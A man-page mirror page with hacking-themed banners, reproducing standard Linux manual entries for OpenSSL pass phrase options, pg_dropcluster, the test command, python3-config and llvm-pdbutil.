             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2303 - Linux cli command openssl-passphrase-optionsssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-passphrase-optionsssl and provides detailed information about the command openssl-passphrase-optionsssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-passphrase-optionsssl.

NAME 🖥️ openssl-passphrase-optionsssl 🖥️

passphrase-options - Pass phrase options

SYNOPSIS

openssl command [ options … ] [ parameters … ]

DESCRIPTION

Several OpenSSL commands accept password arguments, typically using -passin and -passout for input and output passwords respectively. These allow the password to be obtained from a variety of sources. Both of these options take a single argument whose format is described below. If no password argument is given and a password is required then the user is prompted to enter one: this will typically be read from the current terminal with echoing turned off.

Note that character encoding may be relevant, please see passphrase-encoding (7).

OPTIONS

Pass Phrase Option Arguments

Pass phrase arguments can be formatted as follows.

pass:password
The actual password is password. Since the password is visible to utilities (like ‘ps’ under Unix) this form should only be used where security is not important.

env:var
Obtain the password from the environment variable var. Since the environment of other processes is visible on certain platforms (e.g. ps under certain Unix OSes) this option should be used with caution.

file:pathname
The first line of pathname is the password. If the same pathname argument is supplied to -passin and -passout arguments then the first line will be used for the input password and the next line for the output password. pathname need not refer to a regular file: it could for example refer to a device or named pipe.

fd:number
Read the password from the file descriptor number. This can be used to send the data via a pipe for example.

stdin
Read the password from standard input.

COPYRIGHT

Copyright 2000-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2304 - Linux cli command pg_dropcluster

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pg_dropcluster and provides detailed information about the command pg_dropcluster, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pg_dropcluster.

NAME 🖥️ pg_dropcluster 🖥️

completely delete a PostgreSQL cluster

SYNOPSIS

pg_dropcluster [–stop] cluster-version cluster-name

DESCRIPTION

This program removes all files that belong to a given PostgreSQL cluster; that includes the data, wal, and tablespace directories, the log file, and all configuration files that were created by pg_createcluster (1). If the configuration directory (/etc/postgresql/version/cluster) is empty after this, it is removed as well. An empty socket directory other than /var/run/postgresql or /tmp is also removed.

Usually a cluster which still has a running server attached will not be deleted. To override this, the –stop option forces a server shutdown before the files are removed.

SEE ALSO

pg_createcluster (1), pg_ctlcluster (1)

AUTHOR

Martin Pitt <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2305 - Linux cli command test.1

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command test.1 and provides detailed information about the command test.1, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the test.1.

NAME 🖥️ test.1 🖥️

check file types and compare values

SYNOPSIS

test EXPRESSION
test
[ EXPRESSION ]
[ ]
[ OPTION

DESCRIPTION

Exit with the status determined by EXPRESSION.

–help
display this help and exit

–version
output version information and exit

An omitted EXPRESSION defaults to false. Otherwise, EXPRESSION is true or false and sets exit status. It is one of:

( EXPRESSION )
EXPRESSION is true

! EXPRESSION
EXPRESSION is false

EXPRESSION1 -a EXPRESSION2
both EXPRESSION1 and EXPRESSION2 are true

EXPRESSION1 -o EXPRESSION2
either EXPRESSION1 or EXPRESSION2 is true

-n STRING
the length of STRING is nonzero

STRING
equivalent to -n STRING

-z STRING
the length of STRING is zero

STRING1 = STRING2
the strings are equal

STRING1 != STRING2
the strings are not equal

INTEGER1 -eq INTEGER2
INTEGER1 is equal to INTEGER2

INTEGER1 -ge INTEGER2
INTEGER1 is greater than or equal to INTEGER2

INTEGER1 -gt INTEGER2
INTEGER1 is greater than INTEGER2

INTEGER1 -le INTEGER2
INTEGER1 is less than or equal to INTEGER2

INTEGER1 -lt INTEGER2
INTEGER1 is less than INTEGER2

INTEGER1 -ne INTEGER2
INTEGER1 is not equal to INTEGER2

FILE1 -ef FILE2
FILE1 and FILE2 have the same device and inode numbers

FILE1 -nt FILE2
FILE1 is newer (modification date) than FILE2

FILE1 -ot FILE2
FILE1 is older than FILE2

-b FILE
FILE exists and is block special

-c FILE
FILE exists and is character special

-d FILE
FILE exists and is a directory

-e FILE
FILE exists

-f FILE
FILE exists and is a regular file

-g FILE
FILE exists and is set-group-ID

-G FILE
FILE exists and is owned by the effective group ID

-h FILE
FILE exists and is a symbolic link (same as -L)

-k FILE
FILE exists and has its sticky bit set

-L FILE
FILE exists and is a symbolic link (same as -h)

-N FILE
FILE exists and has been modified since it was last read

-O FILE
FILE exists and is owned by the effective user ID

-p FILE
FILE exists and is a named pipe

-r FILE
FILE exists and the user has read access

-s FILE
FILE exists and has a size greater than zero

-S FILE
FILE exists and is a socket

-t FD
file descriptor FD is opened on a terminal

-u FILE
FILE exists and its set-user-ID bit is set

-w FILE
FILE exists and the user has write access

-x FILE
FILE exists and the user has execute (or search) access

Except for -h and -L, all FILE-related tests dereference symbolic links. Beware that parentheses need to be escaped (e.g., by backslashes) for shells. INTEGER may also be -l STRING, which evaluates to the length of STRING.

NOTE: Binary -a and -o are inherently ambiguous. Use ’test EXPR1 && test EXPR2’ or ’test EXPR1 || test EXPR2’ instead.

NOTE: [ honors the –help and –version options, but test does not. test treats each of those as it treats any other nonempty STRING.

NOTE: your shell may have its own version of test and/or [, which usually supersedes the version described here. Please refer to your shell’s documentation for details about the options it supports.

AUTHOR

Written by Kevin Braunsdorf and Matthew Bradburn.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

access(2)

Full documentation <https://www.gnu.org/software/coreutils/test>
or available locally via: info ‘(coreutils) test invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2306 - Linux cli command x86_64-linux-gnu-python3-config

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-linux-gnu-python3-config and provides detailed information about the command x86_64-linux-gnu-python3-config, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-linux-gnu-python3-config.

NAME 🖥️ x86_64-linux-gnu-python3-config 🖥️

config - output build options for python C/C++ extensions or embedding

SYNOPSIS

python-config [ –prefix ] [ –exec-prefix ] [ –includes ] [ –libs ] [ –cflags ] [ –ldflags ] [ –extension-suffix ] [ –abiflags ] [ –help ]

DESCRIPTION

python-config helps compiling and linking programs, which embed the Python interpreter, or extension modules that can be loaded dynamically (at run time) into the interpreter.

OPTIONS

–abiflags
print the the ABI flags as specified by PEP 3149.

–cflags
print the C compiler flags.

–ldflags
print the flags that should be passed to the linker.

–includes
similar to –cflags but only with -I options (path to python header files).

–libs
similar to –ldflags but only with -l options (used libraries).

–prefix
prints the prefix (base directory) under which python can be found.

–exec-prefix
print the prefix used for executable program directories (such as bin, sbin, etc).

–extension-suffix
print the extension suffix used for binary extensions.

–help
print the usage message.

EXAMPLES

To build the singe-file c program prog against the python library, use

gcc $(python-config –cflags –ldflags) progr.cpp -o progr.cpp

The same in a makefile:

CFLAGS+=$(shell python-config –cflags)

LDFLAGS+=$(shell python-config –ldflags)

all: progr

To build a dynamically loadable python module, use

gcc $(python-config –cflags –ldflags) -shared -fPIC progr.cpp -o progr.so

SEE ALSO

python (1)
http://docs.python.org/extending/extending.html
/usr/share/doc/python/faq/extending.html

AUTHORS

This manual page was written by Johann Felix Soden <[email protected]> for the Debian project (and may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2307 - Linux cli command llvm-pdbutil-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-pdbutil-17 and provides detailed information about the command llvm-pdbutil-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-pdbutil-17.

NAME 🖥️ llvm-pdbutil-17 🖥️

pdbutil - PDB File forensics and diagnostics

  • Synopsis

  • Description

  • Subcommands

    • pretty

      • Summary

      • Options

        • Filtering and Sorting Options

        • Symbol Type Options

        • Other Options

    • dump

      • Summary

      • Options

        • MSF Container Options

        • Module & File Options

        • Symbol Options

        • Type Record Options

        • Miscellaneous Options

    • bytes

      • Summary

      • Options

        • MSF File Options

        • PDB Stream Options

        • DBI Stream Options

        • Module Options

        • Type Record Options

    • pdb2yaml

      • Summary

      • Options

    • yaml2pdb

      • Summary

      • Options

    • merge

      • Summary

      • Options

SYNOPSIS

llvm-pdbutil [subcommand] [options]

DESCRIPTION

Display types, symbols, CodeView records, and other information from a PDB file, as well as manipulate and create PDB files. llvm-pdbutil is normally used by FileCheck-based tests to test LLVM’s PDB reading and writing functionality, but can also be used for general PDB file investigation and forensics, or as a replacement for cvdump.

SUBCOMMANDS

llvm-pdbutil is separated into several subcommands each tailored to a different purpose. A brief summary of each command follows, with more detail in the sections that follow.

  • pretty - Dump symbol and type information in a format that tries to look as much like the original source code as possible.

  • dump - Dump low level types and structures from the PDB file, including CodeView records, hash tables, PDB streams, etc.

  • bytes - Dump data from the PDB file’s streams, records, types, symbols, etc as raw bytes.

  • yaml2pdb - Given a yaml description of a PDB file, produce a valid PDB file that matches that description.

  • pdb2yaml - For a given PDB file, produce a YAML description of some or all of the file in a way that the PDB can be reconstructed.

  • merge - Given two PDBs, produce a third PDB that is the result of merging the two input PDBs.

pretty

IMPORTANT:

The pretty subcommand is built on the Windows DIA SDK, and as such is not supported on non-Windows platforms.

USAGE: llvm-pdbutil pretty [options] <input PDB file>

Summary

The pretty subcommand displays a very high level representation of your program’s debug info. Since it is built on the Windows DIA SDK which is the standard API that Windows tools and debuggers query debug information, it presents a more authoritative view of how a debugger is going to interpret your debug information than a mode which displays low-level CodeView records.

Options

Filtering and Sorting Options

NOTE:

exclude filters take priority over include filters. So if a filter matches both an include and an exclude rule, then it is excluded.

-exclude-compilands=<string>
When dumping compilands, compiland source-file contributions, or per-compiland symbols, this option instructs llvm-pdbutil to omit any compilands that match the specified regular expression.

-exclude-symbols=<string>
When dumping global, public, or per-compiland symbols, this option instructs llvm-pdbutil to omit any symbols that match the specified regular expression.

-exclude-types=<string>
When dumping types, this option instructs llvm-pdbutil to omit any types that match the specified regular expression.

-include-compilands=<string>
When dumping compilands, compiland source-file contributions, or per-compiland symbols, limit the initial search to only those compilands that match the specified regular expression.

-include-symbols=<string>
When dumping global, public, or per-compiland symbols, limit the initial search to only those symbols that match the specified regular expression.

-include-types=<string>
When dumping types, limit the initial search to only those types that match the specified regular expression.

-min-class-padding=<uint>
Only display types that have at least the specified amount of alignment padding, accounting for padding in base classes and aggregate field members.

-min-class-padding-imm=<uint>
Only display types that have at least the specified amount of alignment padding, ignoring padding in base classes and aggregate field members.

-min-type-size=<uint>
Only display types T where sizeof(T) is greater than or equal to the specified amount.

-no-compiler-generated
Don’t show compiler generated types and symbols

-no-enum-definitions
When dumping an enum, don’t show the full enum (e.g. the individual enumerator values).

-no-system-libs
Don’t show symbols from system libraries

Symbol Type Options

-all
Implies all other options in this category.

-class-definitions=<format>
Displays class definitions in the specified format.

=all - Display all class members including data, constants, typedefs, functions, etc (default) =layout - Only display members that contribute to class size. =none - Don’t display class definitions (e.g. only display the name and base list)

-class-order
Displays classes in the specified order.

=none - Undefined / no particular sort order (default) =name - Sort classes by name =size - Sort classes by size =padding - Sort classes by amount of padding =padding-pct - Sort classes by percentage of space consumed by padding =padding-imm - Sort classes by amount of immediate padding =padding-pct-imm - Sort classes by percentage of space consumed by immediate padding

-class-recurse-depth=<uint>
When dumping class definitions, stop after recursing the specified number of times. The default is 0, which is no limit.

-classes
Display classes

-compilands
Display compilands (e.g. object files)

-enums
Display enums

-externals
Dump external (e.g. exported) symbols

-globals
Dump global symbols

-lines
Dump the mappings between source lines and code addresses.

-module-syms
Display symbols (variables, functions, etc) for each compiland

-sym-types=<types>
Type of symbols to dump when -globals, -externals, or -module-syms is specified. (default all)

=thunks - Display thunk symbols =data - Display data symbols =funcs - Display function symbols =all - Display all symbols (default)

-symbol-order=<order>
For symbols dumped via the -module-syms, -globals, or -externals options, sort the results in specified order.

=none - Undefined / no particular sort order =name - Sort symbols by name =size - Sort symbols by size

-typedefs
Display typedef types

-types
Display all types (implies -classes, -enums, -typedefs)

Other Options

-color-output
Force color output on or off. By default, color if used if outputting to a terminal.

-load-address=<uint>
When displaying relative virtual addresses, assume the process is loaded at the given address and display what would be the absolute address.

dump

USAGE: llvm-pdbutil dump [options] <input PDB file>

Summary

The dump subcommand displays low level information about the structure of a PDB file. It is used heavily by LLVM’s testing infrastructure, but can also be used for PDB forensics. It serves a role similar to that of Microsoft’s cvdump tool.

NOTE:

The dump subcommand exposes internal details of the file format. As such, the reader should be familiar with The PDB File Format before using this command.

Options

MSF Container Options

-streams
dump a summary of all of the streams in the PDB file.

-stream-blocks
In conjunction with -streams, add information to the output about what blocks the specified stream occupies.

-summary
Dump MSF and PDB header information.

Module & File Options

-modi=<uint>
For all options that dump information from each module/compiland, limit to the specified module.

-files
Dump the source files that contribute to each displayed module.

-il
Dump inlinee line information (DEBUG_S_INLINEELINES CodeView subsection)

-l
Dump line information (DEBUG_S_LINES CodeView subsection)

-modules
Dump compiland information

-xme
Dump cross module exports (DEBUG_S_CROSSSCOPEEXPORTS CodeView subsection)

-xmi
Dump cross module imports (DEBUG_S_CROSSSCOPEIMPORTS CodeView subsection)

Symbol Options

-globals
dump global symbol records

-global-extras
dump additional information about the globals, such as hash buckets and hash values.

-publics
dump public symbol records

-public-extras
dump additional information about the publics, such as hash buckets and hash values.

-symbols
dump symbols (functions, variables, etc) for each module dumped.

-sym-data
For each symbol record dumped as a result of the -symbols option, display the full bytes of the record in binary as well.

Type Record Options

-types
Dump CodeView type records from TPI stream

-type-extras
Dump additional information from the TPI stream, such as hashes and the type index offsets array.

-type-data
For each type record dumped, display the full bytes of the record in binary as well.

-type-index=<uint>
Only dump types with the specified type index.

-ids
Dump CodeView type records from IPI stream.

-id-extras
Dump additional information from the IPI stream, such as hashes and the type index offsets array.

-id-data
For each ID record dumped, display the full bytes of the record in binary as well.

-id-index=<uint>
only dump ID records with the specified hexadecimal type index.

-dependents
When used in conjunction with -type-index or -id-index, dumps the entire dependency graph for the specified index instead of just the single record with the specified index. For example, if type index 0x4000 is a function whose return type has index 0x3000, and you specify -dependents=0x4000, then this would dump both records (as well as any other dependents in the tree).

Miscellaneous Options

-all
Implies most other options.

-section-contribs
Dump section contributions.

-section-headers
Dump image section headers.

-section-map
Dump section map.

-string-table
Dump PDB string table.

bytes

USAGE: llvm-pdbutil bytes [options] <input PDB file>

Summary

Like the dump subcommand, the bytes subcommand displays low level information about the structure of a PDB file, but it is used for even deeper forensics. The bytes subcommand finds various structures in a PDB file based on the command line options specified, and dumps them in hex. Someone working on support for emitting PDBs would use this heavily, for example, to compare one PDB against another PDB to ensure byte-for-byte compatibility. It is not enough to simply compare the bytes of an entire file, or an entire stream because it’s perfectly fine for the same structure to exist at different locations in two different PDBs, and “finding” the structure is half the battle.

Options

MSF File Options

-block-range=<start[-end]>
Dump binary data from specified range of MSF file blocks.

-byte-range=<start[-end]>
Dump binary data from specified range of bytes in the file.

-fpm
Dump the MSF free page map.

-stream-data=<string>
Dump binary data from the specified streams. Format is SN[:Start][@Size]. For example, -stream-data=7:3@12 dumps 12 bytes from stream 7, starting at offset 3 in the stream.

PDB Stream Options

-name-map
Dump bytes of PDB Name Map

DBI Stream Options

-ec
Dump the edit and continue map substream of the DBI stream.

-files
Dump the file info substream of the DBI stream.

-modi
Dump the modi substream of the DBI stream.

-sc
Dump section contributions substream of the DBI stream.

-sm
Dump the section map from the DBI stream.

-type-server
Dump the type server map from the DBI stream.

Module Options

-mod=<uint>
Limit all options in this category to the specified module index. By default, options in this category will dump bytes from all modules.

-chunks
Dump the bytes of each module’s C13 debug subsection.

-split-chunks
When specified with -chunks, split the C13 debug subsection into a separate chunk for each subsection type, and dump them separately.

-syms
Dump the symbol record substream from each module.

Type Record Options

-id=<uint>
Dump the record from the IPI stream with the given type index.

-type=<uint>
Dump the record from the TPI stream with the given type index.

pdb2yaml

USAGE: llvm-pdbutil pdb2yaml [options] <input PDB file>

Summary

Options

yaml2pdb

USAGE: llvm-pdbutil yaml2pdb [options] <input YAML file>

Summary

Generate a PDB file from a YAML description. The YAML syntax is not described here. Instead, use llvm-pdbutil pdb2yaml and examine the output for an example starting point.

Options

-pdb=<file-name>

Write the resulting PDB to the specified file.

merge

USAGE: llvm-pdbutil merge [options] <input PDB file 1> <input PDB file 2>

Summary

Merge two PDB files into a single file.

Options

-pdb=<file-name>

Write the resulting PDB to the specified file.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░